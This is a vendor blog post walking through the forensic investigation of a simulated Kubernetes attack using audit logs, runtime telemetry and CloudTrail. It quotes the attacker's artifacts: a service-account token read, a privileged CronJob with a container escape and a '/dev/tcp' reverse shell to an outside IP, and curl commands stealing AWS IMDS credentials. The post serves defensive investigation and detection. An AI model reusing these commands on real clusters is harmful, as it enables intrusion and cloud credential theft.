Beyond the Container: Securing Kubernetes from Audit Logs to Runtime

A detailed walkthrough of an incident in a Kubernetes cluster demonstrates the value of pairing audit log visibility with sensor-based runtime detection.

Kubernetes abstracts away infrastructure, but it does not abstract away risk. A single compromised pod can be used to escalate to cluster-admin, pivot across namespaces, steal cloud credentials, and establish persistent access, all within minutes.

Securing a Kubernetes cluster is not a single-pane problem. The control plane tells you who made an API call, but not what actually executed inside the container. Runtime telemetry shows you what ran but not whether the identity behind it was legitimate.

Comprehensive visibility and threat detection across Kubernetes components requires monitoring the entire software lifecycle across four layers: code, container, cluster, and cloud (the "4Cs"). Together those layers yield a defensible incident picture when their telemetry is correlated: audit logs for API-level accountability, sensor telemetry for runtime truth, asset and admission data for structural context, and cloud activity logs for blast radius beyond the cluster.

Figure 1. The 4Cs of Kubernetes security Figure 1. The 4Cs of Kubernetes security

In this post, we walk through a real-world attack scenario on a Kubernetes cluster, from the initial detection through lateral movement, privilege escalation, persistence, and credential theft, to demonstrate how each data source answers questions the others cannot.

Investigating the Simulated Kill Chain

Figure 2. Kill chain used for the demonstration Figure 2. Kill chain used for the demonstration

At 15:14 UTC, a CrowdStrike Falcon® Cloud Security newly released Kubernetes audit log detection fires on a Kubernetes cluster demo-cluster. An identity associated with a pod in one namespace uses kubectl to exec into a pod in another namespace.

This post follows the investigation as an analyst would work it: starting from the detection, scoping the blast radius, then pulling each thread to its conclusion. By using visibility across the CrowdStrike Falcon® platform, we can piece together the entire incident story, moving deliberately between data sources based on what we've learned:

  • Kubernetes Audit Logs: Who did what at the Kubernetes API level? Which identities made which calls?
  • Falcon Kubernetes Admission Controller: What Kubernetes objects exist? (e.g., pod-to-service account mappings, CronJob specs, resource ownership chains)
  • CrowdStrike Falcon® Sensor Telemetry: What executed inside the containers? (e.g., command lines, network connections, file access)
  • Cloud Activity Logs: Were stolen cloud credentials used outside the cluster?

Starting the Investigation

Figure 3. Initial incident investigation Figure 3. Initial incident investigation

The Falcon console shows a detection at 15:14:43 UTC:

"Exec into a pod from inside a pod using an over-permissive service account token"

In Kubernetes terms: An identity associated with a pod uses an exec API call to open a shell inside a different pod. This is a lateral movement event, and it is typically unusual for a service account to perform exec API calls.

Looking at the detection details, we can see that a ServiceAccount called pod-manager-sa from the namespace test exec'd into the monitoring-agent pod in the kube-system namespace.

Figure 4. Details in the detection that show pod information and other Kubernetes artifacts Figure 4. Details in the detection that show pod information and other Kubernetes artifacts

For this investigation, we want to pay close attention to key information that may help us as we continue to investigate, such as:

Target PodMonitoring-agent
Target Namespacekube-system
Requesting Identitysystem:serviceaccount:test:pod-manager-sa
Cluster Namedemo-cluster
User-Agentkubectl/v1.31.0 (linux/amd64)

Scoping the Identity: What Else Did pod-manager-sa Do?

One of the first questions to address after a credential-based detection: “Is this a one-off, or part of a larger chain of activity?” To answer this, we leverage the Kubernetes audit logs within advanced event search. Events come in all shapes and sizes, and they can contain valuable information to reconstruct the who, what, when, and where of events on the cluster. The events themselves are in a json format. Before we continue, let’s take a second to cover the anatomy of an audit event and highlight some fields that are important to keep in mind when conducting an investigation.

Anatomy of a Kubernetes Audit Log

These are some of the more important events when attempting to reconstruct behavior on a cluster. Other fields hold valuable information as well, but for now we’ll just focus on the highlighted ones.

{
   annotations: {
     authorization.k8s.io/decision: allow
     authorization.k8s.io/reason: RBAC: allowed by ClusterRoleBinding "cluster-system-anonymous" of ClusterRole "cluster-admin" to User "system:anonymous"
   }
   apiVersion: audit.k8s.io/v1
   auditID: 5dbc599e-0726-45ae-a2e7-b1fb06c6e6f9
   kind: Event
   level: Metadata
   objectRef: {
     apiVersion: v1
     resource: secrets
   }
   requestReceivedTimestamp: 2024-11-17T12:01:14.222991Z
   requestURI: /api/v1/secrets
   responseStatus: {
     code: 200
     metadata: {
     }
   }
   sourceIPs: [
     172.20.39.107
   ]
   stage: ResponseComplete
   stageTimestamp: 2024-11-17T12:01:14.246392Z
   user: {
     groups: [
       system:unauthenticated
     ]
     username: system:anonymous
   }
   userAgent: kubectl/v1.31.2 (linux/amd64) kubernetes/5864a46
   verb: list
}
Table 1. Key Kubernetes audit log fields
FieldDescription
requestReceivedTimestampTime is one of the most important elements when reconstructing behavior. The requestReceivedTimestamp field shows when the Kubernetes API server received a request.
requestURI: /api/v1/secretsThe requestURI field shows which API was requested in Kubernetes. In this case, no namespace is in the path, which means the request is asking at the cluster level to access secrets. When a request is namespaced, the path will be `/api/v1/namespaces/<NAMESPACE>/<RESOURCE>`
ResponseStatus.CodeThis field shows a response status code. With this code, we can determine if the request was successful or not.
SourceIPsThe IP address from where the request was received. This can be helpful when searching for all activity from the same source.
StageThere are 4 different stages that an audit log could be: RequestReceived, ResponseStarted, ResponseComplete, and Panic. Depending on the stage logged, the data in the audit event will vary.
user.usernameThis field tells us “who” made the request, which user, and which service account.
verbKubernetes has a lot of different verbs which describe the “type” of action associated with an event. The more common verbs are get, list, update, watch, create, patch, delete

Note: Depending on the source platform (GKE, AKS, EKS, OpenShift, self-managed, etc.), the log output may be different. 

With this in mind, let’s jump back to our investigation.

Using the CrowdStrike® Falcon LogScale™ query below, we can trace all of the activity for the pod-manager-sa:

#type=aws-eks-k8s
| orchestrator.cluster.name=demo-cluster
| user.name="system:serviceaccount:test:pod-manager-sa"
| select([@timestamp, event.action, orchestrator.resource.type, orchestrator.resource.name,http.response.status_code, Vendor.requestURI])
| sort(@timestamp)

The result from the query surfaces multiple exec attempts into the monitoring-agent pod.

Figure 5. Results from the Falcon LogScale query showing API audit events for the service account Figure 5. Results from the Falcon LogScale query showing API audit events for the service account
Looking specifically at the requestURI field from the Kubernetes audit events, we can see that the exec requests ran multiple commands inside the monitoring-agent-pod.
Figure 6. Results from the Falcon LogScale query highlighting the exec events for the service account Figure 6. Results from the Falcon LogScale query highlighting the exec events for the service account

First, a test id command. Then immediately: cat /var/run/secrets/kubernetes.io/serviceaccount/token. This token can be used to run kubectl commands as the service account associated with the monitoring-agent pod. We know the pod name and the Kubernetes namespace where the pod exists based on the requestURI. The pattern …/namespaces/kube-system… tells us the resource being requested exists in the kube-system namespace and …/pods/monitoring-agent… tells us the resource type being requested is a pod with the name monitoring-agent.

At this point, we are looking at an attack where the investigation will need to pivot from one identity to another. We should begin to investigate what the stolen credentials for the monitoring-agent pod did. One way to determine the service account associated with a particular pod is to search for the pod name in the Kubernetes and container inventory asset page within the Falcon platform.

Here we can see that the service account associated with this pod is cluster-admin-sa.

Figure 7. Image of the Kubernetes and container inventory asset page displaying the filtered result Figure 7. Image of the Kubernetes and container inventory asset page displaying the filtered result

Searching the audit logs for what cluster-admin-sa did after the theft with the following query of the Kubernetes audit events:

#type=aws-eks-k8s
| orchestrator.cluster.name=demo-cluster
| user.name="system:serviceaccount:kube-system:cluster-admin-sa"
| select([@timestamp, event.action, orchestrator.resource.type, orchestrator.resource.name, orchestrator.namespace, http.response.status_code])
| sort(@timestamp)
Figure 8. Results from the Falcon LogScale query showing multiple API events Figure 8. Results from the Falcon LogScale query showing multiple API events

The results show several API calls. The most notable calls:

Table 2. Attacker Activity Timeline1
1Timeline derived from Kubernetes API server audit log events, ingested and analyzed through CrowdStrike Falcon LogScale. Each row represents an individual API request logged by the kube-apiserver.
TimeActionResourceCode
15:08:36.000deletecronjobs/system-health-check200
15:08:39.000createcronjobs/system-health-check201
15:08:39.000createjobs/system-health-check-manual201
15:08:44.000listsecrets/ (all namespaces)200
15:08:49.000createpods/metadata-stealer201
15:09:25.000getpods/metadata-stealer (logs)200
15:09:26.000deletepods/metadata-stealer200

The logs show that the compromised cluster-admin-sa was used to create a new CronJob, list all cluster secrets, and then create a new pod. The 200 and 201 status codes indicate that all of the events were successful. At this point during the investigation, because every secret in the cluster was exposed, it would be worthwhile to rotate any value stored on this cluster. Additionally, further investigation surrounding the secrets stolen is also necessary.

The audit log shows the exact moment of escalation: pod-manager-sa reads the token from inside the monitoring-agent at 15:08:35, and cluster-admin-sa begins making privileged API calls at 15:08:36.

We will return to these new resources created later in this post, but before we do, we’ll pivot the investigation to determine if we can find where the behavior originated.

Finding the Source

The original detection fired off activity from the pod-manager-sa service account. Using the Falcon Cloud Security Kubernetes Admission Controller data, we can query for the pod(s) that use that service account.

#event_simpleName=K8SPodInfo
| K8SPodNamespace=test
| K8SServiceAccountName=pod-manager-sa
| select([K8SPodName, K8SPodUid, K8SPodNamespace, K8SServiceAccountName, K8SControllerKind])

The result of this query returns one result.

Figure 9. Results from the Falcon LogScale query showing multiple API events Figure 9. Results from the Falcon LogScale query showing multiple API events

There is exactly one pod in the namespace test bound to this ServiceAccount: falcondemo-fileservice. It is managed by a Deployment (ReplicaSet controller), which tells us it is an application workload, not a one-off Job. The PodUid (8f6e21c8...) is the key that will allow the investigation to pivot from pod data to all of its runtime telemetry in the Falcon sensor data with ease.

The next step in the investigation will be to do just that. Now we will go deeper into the investigation moving away from Kubernetes events into the Falcon Sensor events protecting the Kubernetes Node and Pods. 

Do We See Any Matching Activity on the Pod?

When runtime events are detected within a container inside a Kubernetes cluster, the telemetry is enriched with metadata about the Kubernetes cluster where the events occurred. We can utilize this data to pivot from the Kubernetes event information directly into the command line events. Using the knowledge gained earlier in the investigation and with the following query, we can query for ProcessRollup events that occurred in our pod.

#event_simpleName=ProcessRollup2
| PodId=8f6e21c8*
| CommandLine!=/runc|xtables|ip6tables/
| select([CommandLine, ParentBaseFileName, Tactic, Technique, timestamp])
| sort(timestamp)

We get a lot of results back:

Figure 10. Results from the Falcon LogScale query showing command line activity Figure 10. Results from the Falcon LogScale query showing command line activity

Looking at the results, we can see a series of basic enumeration commands (id, uname, etc.) being executed, then Kubectl is downloaded followed by a series of kubectl commands. Every API call in the above image has a matching kubectl command here, with timestamps aligning to the second. The --token=eyJ... flag confirms the pod is using a stolen token (not its own mounted SA).

Note: The parent process is dash (spawned by apache2). This pod is running Apache, and the attacker is executing commands through it. This is more than likely a webserver with some kind of vulnerability that has allowed for commands to be executed through it. Further investigation of the application will be required for a full root cause analysis.

Earlier, we noticed a new pod and a CronJob being created. Let's jump back to that and see if we can determine what the purpose of those resources was.

Examine the Persistence Mechanism (CronJob)

During the earlier investigation, we observed the cluster-admin-sa created a CronJob called system-health-check. Falcon's Kubernetes Admission Controller captures the full object spec via K8SResource events.

#event_simpleName=K8SResource
| K8SResourceKind=CronJob
| K8SResourceName=system-health-check
| K8SWatchEventType=1
| select([K8SResourceName, K8SResourceNamespace, K8SResourceUid, K8SResourceObject, timestamp])
Figure 11. Results from the Falcon LogScale query that the Kubernetes resource details based on CrowdStrike Kubernetes Admission Controller data Figure 11. Results from the Falcon LogScale query that the Kubernetes resource details based on CrowdStrike Kubernetes Admission Controller data

In the results, the K8SResourceObject field shows us the manifest of the CronJob:

{
  "spec": {
    "schedule": "*/5 * * * *",
    "jobTemplate": {
      "spec": {
        "template": {
          "spec": {
            "hostNetwork": true,
            "hostPID": true,
            "containers": [{
              "name": "health",
              "image": "ubuntu:24.04",
              "command": ["/bin/sh", "-c",
                "chroot /host /bin/bash -c 'bash -i >& /dev/tcp/35.183.69.114/8876 0>&1'"],
              "securityContext": {"privileged": true}
            }],
            "volumes": [{"hostPath": {"path": "/"}, "name": "host-root"}]
          }
        }
      }
    }
  }
}

This CronJob runs every 5 minutes, spawns a privileged container with host access, and executes chroot /host to escape the container. It then establishes a reverse shell to 35.183.69.114:8876. This will keep firing every 5 minutes until removed.

Confirming Runtime Behavior: What Did the CronJob Pods Actually Execute?

Querying the Falcon Kubernetes data for pods created by the CronJob, we can determine the pod IDs and then pivot into the runtime telemetry as we did before for this new set of pods. With this information, we can determine how the reverse shell was utilized.

To start, we query for the pod IDs:

#event_simpleName=K8SRunningContainer                                                                                                                  
| K8SPodNamespace=kube-system                                                                                                                          
| K8SPodName=/system-health-check/                                                                                                                     
| select([K8SPodName, K8SPodUid, K8SImage])                                                                                                            
| groupBy([K8SPodName, K8SPodUid])

Based on the results from this query, we can confirm what actually ran by querying process telemetry for all pods spawned by this CronJob. The PodId values in the query below are based on the results from the previous query:

#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| in(PodId, values=["3c966fab*", "d378df6b*", "bc59ffd3*"])
| select([CommandLine, ParentBaseFileName, PodId, timestamp])
| sort(timestamp)

Each CronJob pod follows the same pattern: chroot /host escapes the container, the host shell profile loads (reading /proc/PID/comm, /etc/locale.conf), then an interactive bash -i session connects back to the command-and-control (C2). The third pod (29694010) shows repeated reconnection attempts at 20:10 and 20:11. This indicates the reverse shell is being maintained across the C2 session. No further post-exploitation commands were observed from these shells during the investigation window. It appears to be idle, waiting for the next phase of the adversary activity.

Figure 12. CronJob pod executing the container escape techniques Figure 12. CronJob pod executing the container escape techniques

Figure 12 shows the detection successfully triggering on the malicious container escape activity, and the CronJob pods executing chroot /host to break out of the container and establishing interactive reverse shell sessions back to the C2 infrastructure.

In addition to the CronJob pods, we also observed a pod named metadata-stealer being created with the compromised credentials.

The metadata-stealer Pod: IMDS Credential Theft

Using the same process as above, we can find the running processes associated with the metadata-stealer pod. By querying the Falcon Kubernetes Admission Controller data, we find the metadata-stealer pod’s ID 4c115738… Using that information, we query for the processes.

#event_simpleName=ProcessRollup2
| PodId=4c115738*
| CommandLine=/curl/
| select([CommandLine, ParentBaseFileName, Tactic, timestamp])
| sort(timestamp)

We see the following series of events:

Figure 13. Command line behavior showing metadata service interaction Figure 13. Command line behavior showing metadata service interaction

This is the standard AWS IMDSv2 pattern to extract credentials from the service.

1. Token request

curl -s -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600

2. Role enumeration

curl -s -H "X-aws-ec2-metadata-token:..." http://169.254.169.254/latest/meta-data/iam/security-credentials/

3. Credential theft

curl -s -H "..." http://169.254.169.254/latest/meta-data/iam/security-credentials/demo-cluster-node-role

With a little query foo, we can show the activity in the meta-data pod and the falcondemo-fileservice pod inline. Comparing timestamps just moments after this credential theft, the original pod we investigated (falcondemo-fileservice) uses the credentials to run aws_enum.py.

#event_simpleName=ProcessRollup2
| in(PodId, values=["4c115738*", "8f6e21c8*"])
| CommandLine=/169\.254|AWS_ACCESS_KEY|aws_enum/
| case {
    PodId = /4c115738/ | PodName := "metadata-stealer (kube-system)";
    PodId = /8f6e21c8/ | PodName := "falcondemo-fileservice (test)";
  }
| EventTime := formatTime("%H:%M:%S.%L", field=timestamp, timezone="UTC")
| select([EventTime, PodName, CommandLine])
| sort(timestamp)
Figure 14. Query results showing timeline of events across multiple pods Figure 14. Query results showing timeline of events across multiple pods

Seeing this information, we should now pivot into CloudTrail events to determine how the stolen AWS access key was utilized. We can do that with a quick query:

#repo=cloudtrail
| Vendor.userIdentity.accessKeyId=ASIA4MTWJSR..
| select([event.action, source.ip, cloud.service.name, Vendor.userIdentity.arn, @timestamp])

The results from the query only show a simple STS GetCallerIdentity API. Luckily for us, the script only seemed to validate the credentials.

Takeaway

Through this blog, we have moved through multiple different data sources retracing the steps of an incident that spans Kubernetes, runtime events, and the cloud control plane. CrowdStrike Falcon Cloud Security capabilities made it possible to correlate activity across each of these layers:

  • Kubernetes Audit Logs and Cloud Activity: Surfaces detections at the orchestration and cloud control plane level, such as unauthorized API calls, suspicious role bindings, and anomalous cloud provider activity.
  • Falcon Sensor: Provides deep runtime visibility inside nodes and pods to observe and detect malicious behavior like reverse shells, lateral movement, and payload execution the moment it occurs within workloads.
  • Kubernetes IOMs and Admission Controller: Continuously assesses cluster configurations for misconfigurations that adversaries could exploit, while enforcing security policies at deployment time to prevent non-compliant workloads from ever reaching the cluster.

By joining all of these data sources together, teams can successfully and fully answer questions during an incident that they simply cannot with only a few of them. Each layer serves a distinct purpose: Harden and prevent, identify and trace, and observe and respond, to deliver the unified visibility required to detect, investigate, and remediate threats across the full cloud-native attack surface.

Falcon Cloud Security unifies Kubernetes audit log detection, runtime protection, admission control, and cloud detection and response in a single platform, so the pivots in this investigation happen in one console rather than across a patchwork of tools. To see how Falcon Cloud Security can protect your clusters, try it for free for 15 days.

Learn more about Kubernetes threat detection with Falcon Cloud Security in this short video:


CrowdStrike Falcon Platform
Ready to protect your business?

Try CrowdStrike free today

Subscribe

Sign up now to receive the latest notifications and updates from CrowdStrike

See CrowdStrike Falcon in action